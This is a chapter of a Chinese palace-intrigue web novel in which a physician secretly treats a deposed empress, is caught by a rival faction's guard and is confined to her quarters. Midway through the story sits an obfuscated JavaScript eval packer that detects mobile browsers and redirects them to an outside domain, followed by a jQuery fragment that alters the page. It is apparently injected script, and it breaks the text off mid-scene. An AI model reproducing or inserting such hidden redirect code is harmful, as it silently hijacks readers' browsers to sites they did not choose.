她早没有那副尊容了，时至今日，只能尽力去维持一些体面，好叫身边人少担心一些。 孟闻道：“母亲醒了。” 陆芃掀帐出去，道：“姑母刚醒，表兄先回避，让我为她梳洗。” 今日无需由他来沃面了，他只道一声“好”，便退出门去，在屋外候着。 自受困西苑以来，母亲许久不言笑，直到见了陆芃。孟闻踏入宫室中，见她执手喜极而泣，恍惚间以为是错觉。 这幅神情，他很久没见过。 他一直都知晓“家人”在母亲心中的分量。 她曾为此疯过一场，后来病好了，恢复了清明，却是再不肯将心绪流露出半点。 直至今日失而复得，他才能见到那些奢侈的情绪。 爱也好，憎也罢，总该将这些情愫袒露些许，才能令自己好受些许。不若如此，便会像枯枝败叶，在心中堆积腐化。 孟闻低着头数光阴，屋檐遮不住的晨光照在脚下，又一寸一寸地右移。 今日梳洗格外地久。 他一个人站在檐下，听麻雀叽叽喳喳，看枝头白霜融化。 陆芃推门而出，道：“好了，表兄可以进去了。” 孟闻进屋，待宫人端了热粥来，侍奉母亲用膳。 陆皇后睡了多时，这会还有些恍惚，没同他说太多话。 孟闻的话也格外少，像心中有愧似的，对他在朝中、在秘阁里的事一概不提。 用完早膳，他又将往外廷去了。 陆芃一道出门，同他说起：“晨间我替姑母梳头，听她说起过往一些事，有些事我竟全然不记得，不免觉得奇怪。” 孟闻虽习以为常，还是忍不住叹道：“她有时混淆了，会记错许多事。不必在意。” 陆芃道：“会好起来的。” 孟闻道：“留在鸣鸾宫里吧，她想你多陪陪她。” 陆芃道：“那栖梧宫那边——” 孟闻道：“我会处理妥当的，杜修容不是来找过母亲吗？虽不知那日她与母亲说了些什么，总归绕不开孟望。就当是我欠了她一个人情，日后还到四郎身上。” 她为何没死？当年是怎么逃过了一劫？又是如何在深宫中捱过数年？ 孟闻默默看着，选择在母亲面前咽下这些困惑，不再提起旁的。 至少她当真是陆家的女儿，是世上另一个与母亲有血缘联系的人。 鸣鸾宫调来一个新的侍卫，唤做符离，不像别的侍卫那样四处巡守，只需专门护着陆芃。她身份特殊，在陆氏一案沉冤昭雪之前，万不敢摆到明面上来。 鸣鸾宫里大多都是皇帝安排的人，未必信得过，她只能如此藏着。 竺影还是只在夜半无人时过来。 第二夜依旧用了同样的，扮作送夜食的宫女，但比以往顺遂得多。 昨夜那两个值守的宫人不知去了何处，只有一个守卫在门口，披着银鼠冬袄，腰间悬一柄长剑，大半张脸匿在风帽下，像尊石狮子定定立在门前。 看着不近人情，却并未拦她。 陆皇后用过安神的药，夜里睡得沉，便是施针时也不会醒。 但她在睡梦中也会察觉痛楚，微微皱眉。 竺影拔了针，叹气道：“皇后身子太虚，针灸不过拆东补西，不是长久之计。” 陆芃问：“其后该怎么办？” 竺影问她：“太医都给她开些什么药？” 陆芃道：“不清楚，得等明日我去问一问，再告知你。” “好。” 竺影看一眼窗外，不见星，也不见月，只有黑漆漆的一片。 不出暖阳不得天补，满地白雪不得地补，郁郁寡欢不得人补。 “且看能不能熬过这个冬日吧，待到春日就好了……阳气始上，万物荣发，人也是一样的。”她只能这样说。 陆芃才高兴不久，又心下一沉：“也就是说……还是……” 竺影道：“得看她自己，想活之人自有生路，求死之人终难救。” 陆芃噙着苦笑：“还是多谢你。” 竺影冷道：“不必，我不愿过多亏欠而已。” 拾掇好针灸包，刚要踏出门，忽闻门外人声。 “殿下怎么来了？” 寒夜里，他声音蓦地高亢，盖过风声。 另一人道：“噤声，勿惊扰她。” 脚步声近，陆芃与竺影相觑一眼，赶紧放下陆皇后的床帐，拉着竺影藏在屏风后。 “嘘——”陆芃叮嘱她说，“别说话，他一会儿就走。” 前去开门，孟闻进了门，看向内闱道：“我来看看母亲。” “安好，睡着。”陆芃放低声音，简单回道。 “嗯。”他轻声应答，又轻手轻脚走向榻边，坐在脚踏上，隔着一帘帷帐探去目光。 隔着一道屏风，隔着内室与外室，竺影似乎听到了他的叹息声。 她心想着，许是在查案时碰到些棘手的事，不得进展。她深知那案子难办，也为此困顿了多年。 只听他对着帷帐自言自语：“母亲卧在病榻，儿本不该远行。可是母亲训斥儿的事，儿在今夜有了答案。北地须得去的，儿明日会去鸿嘉殿自请。料到母亲不会同意，不敢说，却又不能不说。儿无用，能做的太少，只盼着尽我力所能及之事，解母亲心结，让您少些劳忧。只盼着您好过来，福寿延绵……” 孟闻说完这些，似乎轻松许多。 他走出内室，见案上食盒还没收拾。 “你夜里会叫人送吃食？” 陆芃道：“是，夜里会饿。但只叫人送到门外，不会打扰到姑母。” 孟闻没说什么，只道：“是我考虑不周了，这段时日多辛苦你。” 陆芃道：“说的什么话？她也是我的姑母。” 孟闻朝她疲惫一笑，又离去。 屏风后的人，他果真不曾发觉。 终于走了，陆芃长出一口气。 竺影从屏风后出来，问起：“门口那个侍卫怎么回事？” 他明知陆芃撒了谎，放了个宫女进来，却没告诉孟闻。 陆芃道：“是表兄派来保护我的。” 既是三皇子安排的人，竟依然阳奉阴违，就更奇怪了。 不等竺影道出心中顾忌，陆芃又保证道：“他信得过，你的事不会有第三人知晓。” 竺影心中祈祷：“但愿如此。” 背着二皇子、背着宜夫人行事，这样的情况有过，却不多。她总是谨慎得不能再谨慎，小心得不能再小心。事情败露的下场可想而知，竺影也不知道自己哪来这么大胆子，会答应陆芃，去救一个与自己无甚牵连的人。 偏偏还是宜夫人从前的死对头。 不敢多留，她笼起袖子又踏进夜幕里了。 第三日夜，本还要到鸣鸾宫去的。 竺影刚出停雪轩外廊，道上突然闪出个黑影，不免心中一悸。 那人挽着利落的发髻，一身黑衣，抱剑挡在她面前。 是禾玉。 她冷声开口：“你去何处？” 竺影所担心的这天终于还是来了，她道：“没去哪里。” 禾玉道：“我会信？” “随你。” 她没拔剑，竺影便绕开她。 禾玉在她身后道：“回停雪轩，或是我把你绑到夫人面前，你自己选。” 竺影叹口气，止住了脚步。 其实只有一条路可选啊，可鸣鸾宫的人怎么办？陆芃还不知晓这突如其来的变故，今夜怕是等不到她了。 停雪轩里亮起一盏灯，禾玉像是要盯她一晚上，此时竟开始煮茶。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16361919|183722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 竺影在窗前坐着，心中万分不安。 禾玉却安然坐在屋中喝茶，还眨了眨眼冲她笑：“要给你倒一杯吗？” “不用！”竺影一手拍落她的茶杯，质问道，“你是殿下的人，还是夫人的人？” 禾玉道：“有什么差别吗？你我所做的一切，不都是为了殿下？” 竺影道：“当然有。” 禾玉不同她解释更多，只劝道：“殿下已经不在宫中了，没人能护着你，不想吃苦头就安分些，别去想那些不该做的事。” 竺影脑中冒出一个念头：“你是陈氏的人。” 禾玉只是笑笑，不说话。 竺影又问：“是夫人，还是尚书令？鸣鸾宫那位出事，是在殿下离宫后，你们连他也要瞒？” 禾玉又捧起一杯茶来，轻嗅茶香，慢慢道：“别猜了，别猜了……再猜下去，连我都不敢留你了呢。你留着一个陆家人，已是在给殿下添麻烦了，其实那日去栖梧宫，我就想杀了她。” 竺影遂住了口，她知道此人不会说玩笑话。 禾玉道：“虽然殿下吩咐过，让我留在宫中保护你，可你若出了静和宫，我可保不住。” “罢了，罢了……”竺影捂住脑袋，将外头那些事从脑子里摘出去，迫使自己冷静下来。 窗户敞开着，外头的风总还是会吹进来。 “冷些，果然使人清醒的。”她自言自语。 从前孟明谌也这样说。 禾玉被冻得打了个寒战，骂了一句“有病”，前去将两扇窗合上。 门窗隔绝，风声小了许多，透过缝隙，像在呜咽。 延都的北风干而烈，比吹至云琅的风更凛冽些。 竺影仍记得永朔七年，她随父亲来到京城，延都落下那年冬的第一场雪。 她从并州来，不受京中女郎待见，只有一位同龄的小女郎朝她伸手，邀她为伴。 那小女郎正是陆皇后的侄女。 她们初识在宫中，奈何天意弄人，重逢仍在宫里，只不过从琼筵到了掖庭。 延都的冬夜漫长，两个罪臣之女只能彼此依偎，望着掖庭残破的窗，靠着从对方身上汲取一丝暖意，熬到天明。 那样难捱的冬，竺影只体会了一次，第二年冬就随孟明谌到了静和宫。 如今她眼前也有这样一扇窗，镂花窗格上涂着清漆，镶以月银色的窗纱，阻却风霜。 竺影没回榻上，只伏着案入眠。 禾玉冷眼看她折腾自己，不想劝，也不离去。 她看着眼前繁华，与虚无缥缈的来日，同自己周旋。 不知是否还要铤而走险。 “可是她想活，她想活着啊……” 竺影心里就剩这么个念头。 她看到了陆皇后睡梦里的挣扎，七年来身存魂亡，只剩一副躯壳游走于世间。分明她与陆芃相认不久，才刚燃起一丝求生的希望…… 待她想活着。 朝中那些人不肯让她活。 他们好不容易才把陆氏拉下去，废后废太子，重新扶持起新的势力。又怎么会让她再回去，回到原来的位置上去？ 这是前朝的斗争，与竺家的女郎没有关系。 一个已废的皇后，不在齐王的谋算里，也可以不在她的算计里。 无关紧要，可以舍弃。 竺影在停雪轩关了两日，心中那一点冲动在两日后逐渐平息。 雪已经停了好久，地上的积雪也化了。 她在窗前看檐下融雪，不抱手炉，也不披冬袄。 禾玉走到她身边，劝了一句：“很快就结束了，别犯傻。” “一定得有人身死么？”竺影道。 禾玉看着她，答非所问：“到底是在宫里待了六年的人，不该这样愚钝和天真。” “砰——” 巨大的声响惊得桌上摆设震起。 竺影似泄愤般，举起烛台砸向窗子，在月银窗纱上留下一个窟窿。 “唉。”禾玉摇了摇头，最后还是走了。